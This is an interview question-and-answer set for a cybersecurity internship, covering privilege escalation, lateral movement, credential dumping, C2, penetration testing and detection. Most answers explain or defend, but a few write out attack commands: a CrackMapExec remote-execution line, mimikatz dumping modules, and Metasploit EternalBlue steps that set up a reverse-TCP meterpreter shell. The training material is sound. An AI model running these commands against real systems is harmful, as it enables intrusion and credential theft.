Here are 25 interview questions covering all key areas of Phase 2 of your cybersecurity internship program-focused on Privilege Escalation, Lateral Movement, Credential Dumping, C2, VA/PT, and Detection Techniques. These will help assess a you hands-on knowledge, technical thinking, and defensive mindset.

**Privilege Escalation**

**1. What are common privilege escalation vectors in Windows and Linux systems?**

* **Windows:**
  + Unquoted service paths
  + Insecure service permissions
  + Token impersonation
  + DLL hijacking
  + UAC bypass techniques
  + Exploitable software or OS vulnerabilities (e.g., CVE-2021-1732)
* **Linux:**
  + SUID/SGID binaries
  + Cron jobs with insecure permissions
  + Writable /etc/passwd or /etc/shadow
  + Kernel exploits (e.g., Dirty COW)
  + Misconfigured sudo privileges

**2. How can unquoted service paths be exploited for privilege escalation?**

Unquoted service paths without proper quotation marks (e.g., C:\Program Files\My App\Service.exe) may allow an attacker to insert a malicious executable earlier in the path (e.g., C:\Program.exe), which gets executed with SYSTEM privileges when the service starts.

**3. What is the role of winPEAS in privilege escalation, and how do you interpret its output?**

**winPEAS** is a Windows enumeration script used to find privilege escalation vectors. It gathers info on:

* Services
* Permissions
* Registry
* Installed programs
* Scheduled tasks
* Unquoted service paths, etc.

**Interpreting Output:**  
Look for highlighted/red warnings, especially on:

* Writable service binaries
* High privileges (e.g., SYSTEM)
* Credentials in files/registry
* Misconfigurations or unusual permissions

**4. Explain how you would detect a service misconfiguration being exploited on a host.**

* Monitor **Windows Event Logs** for:
  + Event ID 7045 (new service installed)
  + Event ID 7030 or 7036 (service start/stop)
* Use **Sysmon** to detect:
  + Process creation from unexpected paths
  + Parent-child process anomalies
* Use EDR or SIEM to flag unexpected binaries run by services

**5. How would you differentiate between legitimate and suspicious privilege escalation behavior using event logs?**

* **Suspicious:**
  + Privileged access from non-admin accounts
  + Execution of tools like PowerShell, cmd.exe, or mimikatz.exe
  + Rapid privilege changes
  + Unusual service installations or execution paths
* **Legitimate:**
  + Admin tools launched from known admin accounts
  + Scheduled, signed updates by known vendors

Cross-check Event IDs (4624, 4672, 4688) for patterns and timing.

**Lateral Movement**

**6. What is lateral movement, and why is it dangerous in enterprise networks?**

**Lateral movement** is when an attacker moves across systems in a network after initial compromise, using legitimate tools (e.g., RDP, SMB, PsExec). It’s dangerous because it:

* Bypasses perimeter defenses
* Exploits trust relationships
* Increases attack scope (e.g., domain controller access)

**7. Explain how CrackMapExec can be used to move laterally in a Windows environment.**

**CrackMapExec (CME)** is a post-exploitation tool used for:

* Credential validation
* Command execution
* Lateral movement via SMB or RDP
* Enumerating shares, sessions, and passwords

Example:

bash

CopyEdit

cme smb 192.168.1.0/24 -u admin -p password123 --exec-method smbexec -x whoami

**8. What logs or artifacts can help detect lateral movement via SMB or RDP?**

* **Windows Event Logs:**
  + RDP: 4624 (logon), 4634 (logoff), 4778 (session reconnect)
  + SMB: 5140 (share accessed), 5145 (file access)
* **Sysmon Logs:**
  + ID 3: Network connections
  + ID 1: Process creation

Look for lateral tool usage (e.g., PsExec, CME) or connection to unusual hosts.

**9. What are indicators of pass-the-hash or credential reuse in log data?**

* Multiple systems accessed using same hash/username
* 4624 logons with type 3 (network) and no prior password entry
* Accounts accessing critical systems at odd hours
* No logon attempts followed by immediate access (indicating token/hash reuse)

**10. Describe how you can restrict lateral movement using group policies or segmentation.**

* **Host-based:**
  + Limit local admin access
  + Enable Windows Firewall
  + Disable SMBv1 and restrict RDP
  + Use LAPS (Local Admin Password Solution)
* **Network-based:**
  + Network segmentation
  + Use VLANs for isolation
  + Implement ACLs to control east-west traffic

**Credential Dumping**

**11. What is the purpose of mimikatz, and how does it dump credentials?**

Mimikatz extracts credentials like plaintext passwords, NTLM hashes, and Kerberos tickets from memory (especially LSASS) using modules like:

* sekurlsa::logonpasswords
* lsadump::sam

It directly reads LSASS memory to pull sensitive authentication data.

**12. Which processes and logs are typically affected when LSASS is accessed?**

* **Affected process:** lsass.exe
* **Logs:**
  + Sysmon Event ID 10 (LSASS memory access)
  + Security Event ID 4688 (new process)
  + Defender alerts on credential dumping tools

**13. How can Event IDs or Sysmon be used to detect credential dumping activities?**

* **Sysmon:**
  + ID 10: Process access to lsass.exe
  + ID 1: Mimikatz or suspicious tool execution
* **Security Logs:**
  + 4688: Unusual process creation
  + 4673/4674: Privileged service operations

SIEM correlation rules can alert on these patterns.

**14. What mitigations can be applied to prevent credential dumping in a production environment?**

* Enable **LSA Protection** (RunAsPPL)
* Enable **Credential Guard**
* Limit **local admin accounts**
* Monitor for LSASS access via EDR
* Block known credential dumping tools
* Use **AppLocker or WDAC** to restrict execution

**15. What is the difference between sekurlsa::logonpasswords and lsadump::sam in mimikatz?**

* **sekurlsa::logonpasswords**:
  + Dumps **active logon session** credentials (plaintext, NTLM, Kerberos)
  + Works on live system memory (LSASS)
* **lsadump::sam**:
  + Dumps **SAM database** containing password hashes
  + Reads from registry files or offline systems

**C2 & Post-Exploitation (Empire, Meterpreter)**

**16. What is C2 traffic, and how can you detect beaconing behavior in your environment?**

**C2 (Command & Control) traffic** is communication between a compromised host and an attacker’s server, used for remote access, data exfiltration, or executing commands.

**Detection Methods:**

* **Network Analysis**:
  + Repetitive, periodic connections (beaconing) to an external IP/domain.
  + DNS queries with unusual domain names or patterns.
* **SIEM/IDS Tools**:
  + Use signatures or behavioral analytics.
  + Look for HTTP/S traffic with suspicious User-Agents or destinations.
* **Threat Intelligence**:
  + Match IPs/domains with known C2 indicators.

**17. How does PowerShell Empire maintain persistence on a compromised host?**

PowerShell Empire maintains persistence via:

* **Scheduled Tasks**: Executes payloads at system startup or intervals.
* **Registry Run Keys**: Stores base64-encoded launcher to run on login.
* **WMI Event Subscriptions**: Triggers script execution on system events.
* **Startup Folder**: Drops malicious shortcuts/scripts.

Empire’s modules automate these persistence methods during post-exploitation.

**18. What are common IOCs (Indicators of Compromise) for post-exploitation activities?**

Common **IOCs** include:

* Creation of new or hidden user accounts.
* Scheduled tasks pointing to suspicious scripts.
* Registry keys with base64-encoded PowerShell.
* Connections to unknown external IPs/domains.
* Abnormal child-parent process relationships (e.g., Word spawning PowerShell).
* Mimikatz artifacts (sekurlsa, logonpasswords).

**19. How can DNS tunneling or base64-encoded PowerShell be detected using SIEM?**

**DNS Tunneling Detection:**

* Monitor for:
  + High volumes of DNS queries.
  + Long/randomized subdomains.
  + TXT record queries used for data exfiltration.

**Base64 PowerShell Detection:**

* SIEM alert on:
  + Command line with powershell -enc or FromBase64String.
  + Event ID **4688** (process creation) and Sysmon **Event ID 1**.
  + Correlation with network activity or suspicious parent process.

Use rules in SIEM (like Splunk or ELK) and signature-based detection (via Sigma rules or YARA).

**20. Describe the lifecycle of a Meterpreter session from exploit to privilege escalation.**

**Meterpreter Lifecycle:**

1. **Initial Exploit** – Delivery via Metasploit exploit (e.g., MS08-067, browser vuln).
2. **Session Establishment** – Reverse TCP/HTTPS connection is made to attacker.
3. **Post-Exploitation** – Enumeration, credential dumping (hashdump, mimikatz).
4. **Privilege Escalation** – Use getsystem, exploit local vulnerability, or impersonate token.
5. **Persistence** – Install service, backdoor, or schedule tasks.
6. **Lateral Movement** – Move to other hosts via PsExec or token impersonation.

**Vulnerability Assessment & Penetration Testing**

**21. What is the difference between vulnerability assessment and penetration testing?**

* **Vulnerability Assessment (VA):**
  + Identifies known vulnerabilities.
  + Automated scans (e.g., Nessus, OpenVAS).
  + Non-intrusive, no exploitation.
  + Focus: Breadth.
* **Penetration Testing (PT):**
  + Simulates real attacks.
  + Actively exploits vulnerabilities.
  + Manual and tool-assisted.
  + Focus: Depth and impact.

**22. How do OpenVAS or Nmap help in identifying vulnerable services?**

* **OpenVAS:**
  + Full vulnerability scanner.
  + Maps CVEs to open services.
  + Provides severity ratings (CVSS).
* **Nmap:**
  + Port scanning to find open ports/services.
  + Uses NSE scripts to detect versions and vulnerabilities (e.g., nmap --script=vuln).

Combined, they identify exposed services and known vulnerabilities for further testing.

**23. Walk me through exploiting a vulnerable web app using OWASP ZAP.**

**Steps:**

1. **Configure ZAP Proxy**: Set browser to route traffic through ZAP.
2. **Spider the Web App**: Discover pages and endpoints.
3. **Active Scan**: Scan for common vulns (XSS, SQLi, SSRF).
4. **Manual Testing**: Use payloads to validate issues.
5. **Exploit**: Trigger issues like stored XSS or SQL injection to extract data.
6. **Report**: Export findings with severity and remediation.

**24. How do you prioritize and document vulnerabilities in a VA report?**

**Prioritization Factors:**

* **CVSS Score**
* **Exploitability**
* **Asset criticality**
* **Potential impact (data loss, privilege gain)**

**Documentation Includes:**

* Vulnerability title and CVE.
* Affected assets/IPs.
* Risk rating (High/Medium/Low).
* Proof of concept (PoC).
* Remediation steps.
* References (e.g., MITRE, NIST).

**25. Explain how you exploited a known CVE using Metasploit or a public PoC.**

**Example: CVE-2017-0143 (EternalBlue)**

1. **Recon**: Identify Windows machine with SMB open (port 445).
2. **Exploit Setup** (Metasploit):

bash

CopyEdit

use exploit/windows/smb/ms17\_010\_eternalblue

set RHOST 192.168.1.100

set PAYLOAD windows/x64/meterpreter/reverse\_tcp

set LHOST 192.168.1.5

run

1. **Gain Meterpreter Shell**.
2. **Post-Exploitation**: Run hashdump, getsystem, lateral movement.